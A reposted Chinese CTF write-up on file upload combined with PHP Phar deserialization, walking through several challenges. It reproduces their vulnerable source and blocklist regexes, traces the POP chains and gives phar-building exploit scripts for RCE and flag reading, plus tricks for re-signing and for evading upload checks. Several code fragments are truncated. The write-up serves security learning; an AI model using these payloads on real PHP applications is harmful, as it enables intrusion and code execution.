提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、Phar是什么? 二、Phar压缩文件的组成 三、Phar伪协议 四、SWPU 2018[SimplePHP] 五、[NSSRound#4 SWP
提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档
目录
提示:这里可以添加本文要记录的大概内容:
最近在刷题的时候,连续做到了两道文件上传+Phar的反序列化题目,对以前不太熟悉的Phar熟悉了一点,做个记录。
提示:以下是本篇文章正文内容,下面案例可供参考
官方文档的解析:phar扩展提供了一种将整个PHP应用程序放入一个名为“phar”(php ArcHive)的文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和操作tar和zip文件,就像PDO为访问不同的数据库提供了统一的接口一样。与PDO不同,它不能在不同的数据库之间转换,Phar也可以用一行代码在tar、zip和Phar文件格式之间转换。Phar归档的最佳特点是将多个文件组合为一个文件的便捷方式。因此,phar归档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行的方法,而无需将其解压缩到磁盘。此外,无论是在命令行上还是在WEB服务器上,PHP都可以像任何其他文件一样轻松地执行phar归档。Phar有点像PHP应用程序的拇指驱动器。
简单来说,phar可以将多个PHP打包成一个phar的文件,可以看作就是一个压缩文件。
一般phar由四个部分组成:1、存根,2、描述内容的清单,3、文件内容,4、完整性签名,
简单来说就是
Stub:即Phar文件的文件头,默认是,xxx可以是自定义的任何字符,不定义默认就为
a manifest describing the contents:phar包的各种属性信息,包括文件名、压缩文件的大小,序列化的文件、大小等等
file contents:即要添加的压缩的文件的名
Phar Signature fORMat:即Phar文件的签名,确保文件的完整性,可以是20字节的SHA1,16字节的MD5,32字节的SHA256,64字节的512等
更多的关于Phar的函数等,参考:Phar - PHP中文版 - api参考文档https://www.apiref.com/php-zh/book.phar.html
phar伪协议可以是PHP的一个解压缩包的函数,不管后缀,都会当做压缩包来解压,由于Phar内容清单中存储内容的形式是序列化的,当文件中有file_get_content(),file_exists()等函数的参数可控时候,使用phar://伪协议,会直接进行反序列化的操作将文件内容还原,即使不用unserialize()反序列化函数也能进行反序列化的操作,就有可能导致反序列化的漏洞。
具体分析参考:Phar与Stream Wrapper造成PHP RCE的深入挖掘 - 先知社区 (aliyun.com)
进入题目:
在查看文件处发现url中存在file参数,能够直接查看到index.php,class.php的源码,主要的源码如下:
file.php:
ion.php';include 'class.php';ini_set('open_basedir','/var/www/html/'); #将可访问的目录限制在/var/www/html$file = $_GET["file"] ? $_GET['file'] : "";if(empty($file)) { echo "There is no file to show!";}$show = new Show(); #创建class的Show()类if(file_exists($file)) { $show->source = $file; $show->_show(); #调用Show类的_show()方法} else if (!empty($file)){ die('file doesn\'t exists.');}?>
Class.php:
str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; }}class Show{ public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }}class Test{ public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; }}?>
Show类的_show()方法过滤了Http、https等各种伪协议,但是没有过滤phar为协议,并且这里有一堆魔术函数,可以看看能否找到Phar伪协议的利用点,发现Test类的file_get()函数有通过file_get_contents直接获取到$value参数的内容。
get()方法可以调用file_get()函数,get()方法被魔术方法__get()所调用,__get()主要用途在外部调用PHP的私有属性时,属性为了解决私有属性无法访问时调用的,那么当Test类的属性被设为private或者没有时,会触发这个方法。
Show类中魔术方法__toString调用了一个$source属性,那么让str['str']为Test类即可触发__get方法,__toString方法的触发主要是当对象被当作字符串使用时。
__destruct()析构函数,在类结束时会自动调用,函数中对$str赋值给$test,让$str为Show类,就相当于被当作字符串对待,即可触发__toString方法。
Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()
upload_file.php:
alert("上传成功!");';}function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }}function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "请选择上传的文件:" . ""; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } }}?>
对上传文件进行了gif、jpeg、jpg、png的后缀名检测,并且存储在upload中,上传的文件重命名为md5(文件名+IP地址).jpg的形式,因此可以通过Pop链生成phar归档文件,修改为gif或jpg等文件后缀,最后通过Phar://伪协议直接进行反序列化,使得C1e4r会获取到flag的内容,并echo出来。
str=new Show();$m->str->str['str']=new Test();$m->str->str['str']->params["source"]="/var/www/html/f1ag.php";@unlink('test.phar');$phar=new Phar('test.phar');$phar->startBuffering();$phar->setStub(''); #定义Phar的文件头$phar->setMetadata($m); #注入文件的内容数据$phar->addFromString("test.txt","test");#以字符串的形式添加文件进行归档$phar->stopBuffering();#Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()?>
对echo出来的内容,进行base64解码,即得到flag,这里的md5重命名,好像怎么都不对,但是可以直接访问/upload/目录看到文件的名称。
进入题目:
同样在查询文件处能够直接得到各php文件的源码 ,源码缺省部分打开F12就能看到被注释掉了,如下:
index.php:
ljt = "ljt"; $this->dky = "dky"; phpinfo(); }public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd);}public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc";}}$file=$_POST['file'];if(isset($_POST['file'])){ if (preg_match("/flag/", $file)) { die("nonono"); } echo file_get_contents($file);}
又是file_get_contents()函数获取到$file的内容,并且$file可控,并且__destruct()中存在eval(),可能可以进行命令执行,条件是$ljt和$dky的值是Misc和Re。
upload.php:
0){ echo "上传异常";}else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))) { $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer") { echo "ltj一眼就发现了phar"; } else { if (file_exists("./upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在"; } else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } } else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
同样对上传的文件进行了gif、jpeg、jpg、png的后缀名检测, 并且在上传的文件内容中搜索__HALT_COMPILER();第一次出现的位置,搜索到即echo发现phar,否则如果文件不存在则上传成功。
虽然对 __HALT_COMPILER()进行了检测,但是完全可以对生成的phar文件进行zip加密,__HALT_COMPILER()应该会消失,绕过了文件上传的检测的同时phar依旧会对zip文件进行解压缩,然后file_get_contents()处可以利用phar伪协议触发反序列化,进行eval()的命令执行。
由于LoveNss类中存在__wakeup()魔术方法,当反序列化时会自动调用,导致__destruct方法无法进行eval,因此要绕过__wakeup方法,当序列化中的成员数大于实际成员数的时候,即可绕过。
startBuffering();$phar->setStub(""); //设置stub$phar->setMetadata($a); //自定义的meta-data$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算,默认是SHA1$phar->stopBuffering();
生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量。
这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧。
from hashlib import sha1file = open('phar.phar', 'rb').read()data = file[:-28]#要签名的部分是文件头到metadata的数据。final = file[-8:]newfile = data+sha1(data).digest()+finalopen('newpoc.phar', 'wb').write(newfile)
生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失。
确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧。
这不对劲,Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip。
继续进行同样的上传和phar://伪协议操作。
这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作。
通过gzip和SHA256签名得到flag,再想想,会不会本就要SHA256签名,发现进行SHA256签名后进行zip压缩 ,__HALT_COMPILER()不会消失,直接就上传不了,但是为什么ZIP加密不行依旧不懂,要是有师傅看到懂的,麻烦告诉一下。
一道直接上传文件,然后可以查看文件目录名的题目,当时比赛的时候一直认为是传马getshell,结果绕了大半天,都没绕过去,结果它是一道传phar的文件上传进行反序列化的题目。
关键是这个acti0n参数,当时压根没注意,一直认为无法触发反序列化,可以通过这个参数读取到源码,并且提示flag.php
upload.php源码:
= 204800) { die('filesize too big.'); } if(!$name) { die('filename can not be empty!'); } if(preg_match('/(htaccess)|(user)|(\.\.)|(00)|(#)/i', $name) !== 0) { die('Hacker!'); } if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) { $type = $_FILES['file']['type']; if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') { echo "Don't cheat me with Content-Type!
"; } echo("You can't upload this kind of file!
"); exit; } $content = file_get_contents($tmp_name); if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_Socket_server)|(error_log)/i', $content) !== 0) { echo(''); exit; } $extension = substr($name, strrpos($name, ".") + 1); if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) { die("You can't upload this kind of file!
"); } $upload_file = $name; move_uploaded_file($tmp_name, $upload_file); if(file_exists($name)) { echo "Your file $name has been uploaded.
"; } else { echo ''; } echo ""; #header("refresh:3;url=index.php");}
通过exif_imagetype()函数检查传入文件的类型,如果检查的结果与传入的type不匹配则返回Don't cheat me,然后用正则匹配.htaccess和user,防止解析图片,传入文件的内容不能出现scandir()等函数,通过截取最后一个点的形式,取出后缀,只能上传png,jpg,重点是可以上传phar文件。
view.php源码:
dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/'; $this->cmd = 'echo "Powered by: xxx";'; if(!is_dir($this->dir)) { mkdir($this->dir, 0777, true); } } function get_file_list() { $file = scandir('.'); return $file; } function show_file_list() { $file = $this->get_file_list(); for ($i = 2; $i < sizeof($file); $i++) { echo "[".strval($i - 1)."] $file[$i]
"; } } function show_img($file_name) { $name = $file_name; $width = getimagesize($name)[0]; $height = getimagesize($name)[1]; $times = $width / 200; $width /= $times; $height /= $times; $template = "dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">"; echo $template; } function delete_img($file_name) { $name = $file_name; if (file_exists($name)) { @unlink($name); if(!file_exists($name)) { echo "成功删除! 3s后跳转
"; header("refresh:3;url=view.php"); } else { echo "Can not delete!"; exit; } } else { echo "找不到这个文件!
"; } } function __destruct() { eval($this->cmd); }}$ins = new View();chdir($ins->dir);echo "当前目录为 " . $ins->dir . "
";$ins->show_file_list();if (isset($_POST['show'])) { $file_name = $_POST['show']; $ins->show_img($file_name);}if (isset($_POST['delete'])) { $file_name = $_POST['delete']; $ins->delete_img($file_name);}unset($ins);?>
创建了View类,通过接受show参数和delete参数进行展示和删除,可以看到delete_img()中通过file_exists()判断文件名是否存在,而file_exists()是可以读取phar文件触发反序列化的,再来看销毁函数__destruct()可以进行eval(),因此可以进行RCE,同时upload中没有过滤show_source,highlight_file等显示文件的函数,可以使用。
startBuffering();$phar->setStub('GIF89a'.' php __HALT_COMPILER(); ?>'); //设置stub$phar->setMetadata($c); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
直接从文件查看器可以查看到源码:
upload.php:
aa的文件上传器
read.php:
aa的文件查看器 aa的文件查看器
getFile();?>
class.php:
name='aa'; } public function __destruct(){ $this->name=strtolower($this->name); }}class ff{ private $content; public $func; public function __construct(){ $this->content="\"; } public function __get($key){ $this->$key->{$this->func}($_POST['cmd']); }}class zz{ public $filename; public $content='surprise'; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){ die('这不合理'); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST['method']}($_POST['var']); return $this->content; }}class xx{ public $name; public $arg; public function __construct(){ $this->name='eval'; $this->arg='phpinfo();'; } public function __call($name,$arg){ $name($arg[0]); }}
可以看到传入的任何文件都变成了txt,而文件查看器调用了zz类中的file_get_contents()函数读取文件,这个函数是可以通过phar协议解析文件触发反序列化的,因此也是一道phar反序列化的题目。
既然是反序列化,那么就需要寻找入口点,ff类的__get魔术方法好像可以构造命令执行,刚好ff类有私有的 content参数用于触发__get方法,那么整条Pop链就是:
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
主要是要通过write触发__get方法。
name=new zz(); }}class ff{ private $content; public $func='system'; function __construct(){ $this->content=new xx();}}class zz{ public $filename; public $content; function __construct(){ $this->filename=new ff(); }}class xx{ public $name; public $arg;}$a=new aa();$phar = new Phar("aiwin1.phar");$phar->startBuffering();$phar->setStub(""); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
注册用户登录后可以看到文件上传和文件删除功能,在文件上传处可以读取到源码,主要源码如下:
download.php:
open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close();} else { echo "File not exist";}?>
delete.php:
open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response);} else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response);}?>
upload.php:
false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/JSON"); echo json_encode($response); die(); } if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); }}?>
class.php:
db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); }}class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array();# $this->results = array();#存放文件的名字 $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func();#this->results[name][] } } public function __destruct() { $table = ''; $table .= ''; foreach ($this->funcs as $func) { $table .= '' . htmlentities($func) . ' '; } $table .= 'Opt '; $table .= ' '; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= '' . htmlentities($value) . ' '; } $table .= '下载 / 删除 '; $table .= ' '; } echo $table; }}class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); }}?> 仔细看一下源码,在上传处仅允许上传后缀为jpg、png、gif的图片,然后又不存在文件包含函数,可以往phar反序列化方向去想,寻找能触发phar反序列化的函数。首先可以分析下open()函数中的file_exists()方法,download.php中调用了open()方法行不行呢?
可以看到这里通过ini_set("open_basedir", getcwd() . ":/etc:/tmp");限制了此文件的访问路径,没有办法读取根目录的文件,所以目标转向delete.php,这个文件没有限制。
在delete()方法中可以看到unlink()方法,也可以触发phar反序列化,那么剩下的关键就是需要一条链,能够进行反序列化读取flag。
可以发现在User类的本是用于关闭数据库的方法,可以用于调用File类的close()方法,这样就可以获取flag的数据,至于如何进行回显,可以看FileList()类中的__call()和__destruct()方法。
当把db赋值为FileList()类时,由于close()方法就会触发__call,而call方法中创建了一个二维数组,将close()方法赋值到了results数组中,数组的键为一个File类的name()方法的值,最后在destruct销毁函数中,遍历了results数组,将value的数值即结果输出了,因此整条Pop链就为User::__destruct()->FileList::__call()->File::close()->FileList::__destruct()
exp如下:
db = new FileList(); }}class FileList{ private $files; public function __construct() { $file=new File(); $file->filename='/flag.txt'; $this->files=array($file); }}class File{ public $filename;}$User = new User();$phar = new Phar("exp.phar"); //生成phar文件$phar->startBuffering();$phar->setStub('GIF89a'.' php __HALT_COMPILER(); ? >');$phar->setMetadata($User); //触发类$phar->addFromString("text.txt", "test"); //签名$phar->stopBuffering();?>
将得到的phar文件改为jpg上传,然后在delete.php中触发即可。
总结
文件上传遇到反序列化后,能摩擦出RCE等火花,以后有遇到类似的题目,继续进行补充记录。
来源地址:https://blog.csdn.net/weixin_53090346/article/details/127676088
您可能感兴趣的文档:
--结束END--
本文标题: 文件上传与Phar反序列化的摩擦
本文链接: https://lsjlt.com/news/401559.html(转载时请注明来源链接)
有问题或投稿请发送至:
邮箱/279061341@qq.com QQ/279061341
猜你喜欢
-
文件上传与Phar反序列化的摩擦
提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、Phar是什么 二、Phar压缩文件的组成 三、Phar伪协议 四、SWPU 2018[SimplePHP] 五、[NSSRound#4 SWPU...
-
thinkphp5 注入 反序列化写文件 phar反序列化
原文出处: 红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com) 1.SQL注入1 ...
-
关于php----phar伪协议和phar文件反序列化漏洞利用
前言 Secarma的安全研究员Sam Thomas发现了php里一种新的反序列化漏洞,这种漏洞的利用可以避开传统的php反序列化漏洞的查找,旧漏洞莫非寻找反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和使用p...
-
phar绕过phar与HALT实现文件上传功能
前面也讲过一次phar文件上传的东西,但是那都是过滤比较低,仅仅过滤了后缀。
知道今天看到了一篇好的文章
如果过滤了phar这个伪造协议的话,那还是比较简单的
if(preg_mat...
- 99+
- 2022-12-15
-
phar文件上传
phar
绕过phar文件上传
phar绕过_HALT文件上传
-
记一道CTF中的phar反序列化
Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文。记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧正。 ...
-
phar文件上传的骚姿势(绕过phar、_HALT)
前面也讲过一次phar文件上传的东西,但是那都是过滤比较低,仅仅过滤了后缀。 知道今天看到了一篇好的文章 如果过滤了phar这个伪造协议的话,那还是比较简单的 if (preg_match("/^php|^file|^phar|^dic...
-
Python文件的应用之序列化与反序列化详解
目录初识序列化与反序列化什么是序列化?可序列化的数据类型Python 中的jsondumps() 与 loads() 函数可序列化数据类型演示案例bool 、None 类型的序列化与...
- 99+
- 2024-04-02
-
-
一文搞懂Java中的序列化与反序列化
目录序列化和反序列化的概念应用场景序列化实现的方式继承Serializable接口,普通序列化继承Externalizable接口,强制自定义序列化serialVersionUID的...
- 99+
- 2024-04-02
-
-
C#对JSON与对象的序列化与反序列化
一、利用Web服务中的JavaScriptSerializer 类
System.Web.Script.Serialization空间,位于System.Web.extensions...
- 99+
- 2024-04-02
-
-
Java对象的序列化与反序列化详解
一、序列化和反序列化的概念把对象转换为字节序列的过程称为对象的序列化,把字节序列恢复为对象的过程称为对象的反序列化。对象的序列化主要有两种途径:Ⅰ . 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中Ⅱ. 在网络上传送对...
-
Java的序列化与反序列化怎么实现
本篇内容介绍了“Java的序列化与反序列化怎么实现”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Java对象的序列化Java平台允许我们在内...
- 99+
- 2023-07-04
-
-
golang函数类型的序列化与反序列化
golang 函数类型可通过 encoding/gob 包实现序列化和反序列化。序列化:注册自定义类型并使用 gob.newencoder 将函数类型编码为字节数组。反序列化:使用 go...
-
PHP数据结构:序列化与反序列化的艺术,实现数据持久化与传输
在 php 中,序列化将数据结构转换为字符串,而反序列化将字符串还原为数据结构,实现数据的持久化和传输。序列化函数 serialize 将数据结构转换为字符串,而 unserialize...
-
Java中序列化与反序列化的示例分析
这篇文章将为大家详细讲解有关Java中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。一、前言序列化:将对象转换为二进制序列在网络中传输或保存到磁盘反序列化:从网络或磁盘中将二进制...
- 99+
- 2023-06-15
-
-
Python中序列化与反序列化的示例分析
这篇文章将为大家详细讲解有关Python中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。初识序列化与反序列化什么是序列化?通俗一点来说,序列化就是将 对象的信息 或者 数据结构的...
- 99+
- 2023-06-29
-
-
深入浅析Java中的序列化与反序列化
这篇文章将为大家详细讲解有关深入浅析Java中的序列化与反序列化,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Java 序列化和反序列化实例详解在分布式应用中,对象只有经过序列化才能在各个分...
-
一篇文章带你了解Java 中序列化与反序列化
目录一、 序列化和反序列化概念二、 序列化和反序列化的必要性三、 序列化和反序列化的实现1. JDK类库提供的序列化API2. 实现序列化的要求3. 实现Java对象序列化与反序列化...
- 99+
- 2024-04-02
-
-
C#使用Json.Net对JSON与对象的序列化与反序列化
目录一、使用Json.Net1、把DataTable转换成json格式,使用最新Json.Net DLL ,已经内置转换器。2、对Json.Net序列化和反序列化的控制二、空值的处理...
- 99+
- 2024-04-02
-
-
java序列化与反序列化的使用方法汇总
一、概念
java对象序列化的意思就是将对象的状态转化成字节流,以后可以通过这些值再生成相同状态的对象。对象...
- 99+
- 2024-04-02
-
-
java中序列化与反序列化的作用是什么
Java中的序列化和反序列化是用来实现对象的持久化存储和网络传输的机制。序列化的作用:1. 对象持久化存储:将Java对象转换为字节...
- 99+
- 2023-09-15
-
java
热门wiki
近期文章
推荐阅读
-
php变量作用域是什么
2024-02-29
-
PHP isset按钮不起作用怎么解决
2024-02-29
-
php中target标签怎么使用
2024-02-29
-
php怎么获取网页内容
2024-02-29
-
php怎么实现批量发送邮件
2024-02-29
-
PHP方法参数传递及返回值详解
2024-02-29
-
PHP7下载PDF文件失败的解决方法
2024-02-29
-
最佳在线PHP编辑器:快速创建文件
2024-02-29
-
解决PHP数据库中爱好无法显示的问题
2024-02-29
-
PHP验证码复制粘贴问题解决方法分享
2024-02-29
热门问答
-
1
回答
如何调试操作系统的错误?
操作系统
2023-11-15发布
-
1
回答
2023-11-15发布
-
1
回答
如何实现操作系统的内存管理?
操作系统
2023-11-15发布
-
1
回答
2023-11-15发布
-
1
回答
2023-11-15发布
-
1
回答
ASP中的数据验证和数据校验有什么不同?
ASP.NET
2023-11-15发布
-
1
回答
ASP中的ADO对象和DAO对象有什么区别和使用方法?
ASP.NET
2023-11-15发布
-
1
回答
2023-11-15发布
-
1
回答
2023-11-15发布
-
1
回答
2023-11-15发布
热门标签
-
Python操作PostgreSQL
Python连接PostgreSQL
Python连接和操作PostgreSQL
SQL建表语句
SQL建表语句使用
RedisTemplate使用
MySQL提取数据
JSON提取数据
MySQL从JSON提取数据
MySQL免密登录
MySQL免密登录配置
Oracle端口
Oracle修改端口
Oracle更换端口
Oracle更换监听端口
HBASE部署
HBASE集群部署
oracle中的trunc函数
oracle中trunc
winx64安装
格式化yyyy-mm-dd
mysql时间戳格式化yyyy-mm-dd
mysql8.0.15重置密码
mysql8.0.15修改密码
2059
Navicat连接MySQL出现2059
DBeaver导入数据
DBeaver导入excel大量数据
DBeaver导入excel数据
dbeaver导出
0